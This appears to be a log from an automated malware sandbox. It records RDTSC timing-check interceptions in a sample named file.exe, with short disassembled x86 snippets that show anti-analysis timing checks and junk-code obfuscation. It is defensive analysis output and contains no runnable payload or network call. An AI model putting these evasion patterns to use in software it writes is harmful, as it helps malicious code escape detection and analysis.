Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633006 second address: 63300A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63300A second address: 633018 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633018 second address: 63301E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63301E second address: 63302D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63302D second address: 633033 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633033 second address: 633078 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F6970D85C16h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F6970D85C18h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov edi, dword ptr [ebp+122D2E43h] 0x0000002f mov dword ptr [ebp+122D3610h], edx 0x00000035 nop 0x00000036 push esi 0x00000037 push ebx 0x00000038 pushad 0x00000039 popad 0x0000003a pop ebx 0x0000003b pop esi 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push ecx 0x00000041 pop ecx 0x00000042 pop eax 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633078 second address: 63307E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633341 second address: 63335D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6970D85C28h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633779 second address: 633795 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633795 second address: 6337A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6970D85C16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6337A0 second address: 6337EA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6970DB3BD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b call 00007F6970DB3BE8h 0x00000010 add cx, 5C00h 0x00000015 pop ecx 0x00000016 push 0000001Eh 0x00000018 jmp 00007F6970DB3BE3h 0x0000001d nop 0x0000001e jp 00007F6970DB3BDEh 0x00000024 push ecx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6337EA second address: 633812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jnp 00007F6970D85C16h 0x0000000f jmp 00007F6970D85C28h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633B27 second address: 633B2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633B2D second address: 633B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633BE0 second address: 633BF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6970DB3BE0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633BF4 second address: 633C37 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 ja 00007F6970D85C22h 0x0000000f nop 0x00000010 call 00007F6970D85C1Dh 0x00000015 sub ecx, 7AA2645Eh 0x0000001b pop edi 0x0000001c lea eax, dword ptr [ebp+124866DBh] 0x00000022 mov cx, dx 0x00000025 nop 0x00000026 push eax 0x00000027 jg 00007F6970D85C1Ch 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633C37 second address: 633C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633C43 second address: 633C4D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6970D85C16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633C4D second address: 61A23D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F6970DB3BDCh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d mov bx, di 0x00000010 popad 0x00000011 lea eax, dword ptr [ebp+12486697h] 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F6970DB3BD8h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 jbe 00007F6970DB3BDCh 0x00000037 mov edi, dword ptr [ebp+122D2B9Bh] 0x0000003d push eax 0x0000003e ja 00007F6970DB3BF6h 0x00000044 mov dword ptr [esp], eax 0x00000047 push 00000000h 0x00000049 push eax 0x0000004a call 00007F6970DB3BD8h 0x0000004f pop eax 0x00000050 mov dword ptr [esp+04h], eax 0x00000054 add dword ptr [esp+04h], 00000018h 0x0000005c inc eax 0x0000005d push eax 0x0000005e ret 0x0000005f pop eax 0x00000060 ret 0x00000061 mov cx, D529h 0x00000065 call dword ptr [ebp+12459200h] 0x0000006b pushad 0x0000006c jp 00007F6970DB3BDCh 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A23D second address: 61A25A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6970D85C1Eh 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674AF4 second address: 674B1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F6970DB3BE4h 0x0000000a popad 0x0000000b jc 00007F6970DB3BE2h 0x00000011 jnp 00007F6970DB3BD6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674C6A second address: 674C73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674C73 second address: 674CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6970DB3BDDh 0x00000009 jmp 00007F6970DB3BE3h 0x0000000e popad 0x0000000f push edi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674CA0 second address: 674CA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674CA6 second address: 674CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674E01 second address: 674E06 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674F89 second address: 674FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6970DB3BEBh 0x0000000a jmp 00007F6970DB3BE1h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6970DB3BDDh 0x00000017 jmp 00007F6970DB3BDBh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B3E3 second address: 67B3E8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B3E8 second address: 67B404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6970DB3BE3h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AECB second address: 67AEFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C26h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F6970D85C21h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AEFD second address: 67AF3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6970DB3BE8h 0x0000000a pushad 0x0000000b js 00007F6970DB3BD6h 0x00000011 jmp 00007F6970DB3BE6h 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BC78 second address: 67BC80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C1B0 second address: 67C1C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BDBh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67ED07 second address: 67ED0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F1DA second address: 67F1E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F1E3 second address: 67F1EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687A03 second address: 687A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686CBE second address: 686CC8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6970D85C16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686CC8 second address: 686CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F6970DB3BD6h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686E3D second address: 686E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 jmp 00007F6970D85C23h 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687101 second address: 687136 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6970DB3BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F6970DB3BDFh 0x00000011 jmp 00007F6970DB3BE7h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687136 second address: 68713C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E284 second address: 68E28A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E28A second address: 68E28F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E28F second address: 68E2A2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6970DB3BD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E2A2 second address: 68E2AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6970D85C16h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E2AF second address: 68E2CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BE8h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CA93 second address: 68CAAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CD92 second address: 68CDB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BDFh 0x00000007 pushad 0x00000008 jmp 00007F6970DB3BDFh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D0E9 second address: 68D0FB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6970D85C16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F6970D85C1Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D0FB second address: 68D0FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6335BB second address: 6335C1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6335C1 second address: 633619 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6970DB3BD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F6970DB3BD8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov ecx, dword ptr [ebp+122D5BA4h] 0x0000002d jmp 00007F6970DB3BE2h 0x00000032 push 00000004h 0x00000034 mov edx, dword ptr [ebp+122D2E03h] 0x0000003a cmc 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push ecx 0x0000003f push ebx 0x00000040 pop ebx 0x00000041 pop ecx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633B23 second address: 633B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DFAE second address: 68DFB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F6970DB3BD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6913A1 second address: 6913A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6913A7 second address: 6913AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690A9C second address: 690ABE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F6970D85C20h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690ABE second address: 690AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690AC7 second address: 690AEB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F6970D85C26h 0x0000000a pop ecx 0x0000000b ja 00007F6970D85C1Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690C59 second address: 690C63 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6970DB3BD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690DAB second address: 690DC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 je 00007F6970D85C16h 0x0000000d pop ebx 0x0000000e jc 00007F6970D85C1Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690DC1 second address: 690DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6970DB3BDEh 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690DDD second address: 690DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690DE2 second address: 690E00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F6970DB3BE7h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6967EC second address: 6967F4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6967F4 second address: 6967F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6967F9 second address: 696810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F6970D85C1Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696810 second address: 696814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69698C second address: 696992 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696AEF second address: 696B07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BE2h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69738C second address: 697392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 697392 second address: 697396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 697396 second address: 6973B1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F6970D85C22h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6973B1 second address: 6973C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6970DB3BD6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F6970DB3BD8h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 697B95 second address: 697BCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6970D85C24h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F6970D85C28h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A8F8 second address: 69A8FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A8FE second address: 69A93F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C1Eh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6970D85C28h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F6970D85C20h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A93F second address: 69A943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A943 second address: 69A94F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6970D85C16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D8A4 second address: 69D8A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D8A8 second address: 69D8AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E02D second address: 69E046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6970DB3BDDh 0x00000009 push ebx 0x0000000a jg 00007F6970DB3BD6h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E046 second address: 69E052 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnl 00007F6970D85C16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E052 second address: 69E05C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6970DB3BD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E05C second address: 69E067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E067 second address: 69E07A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F6970DB3BDEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E07A second address: 69E093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6970D85C23h 0x0000000b rdtsc
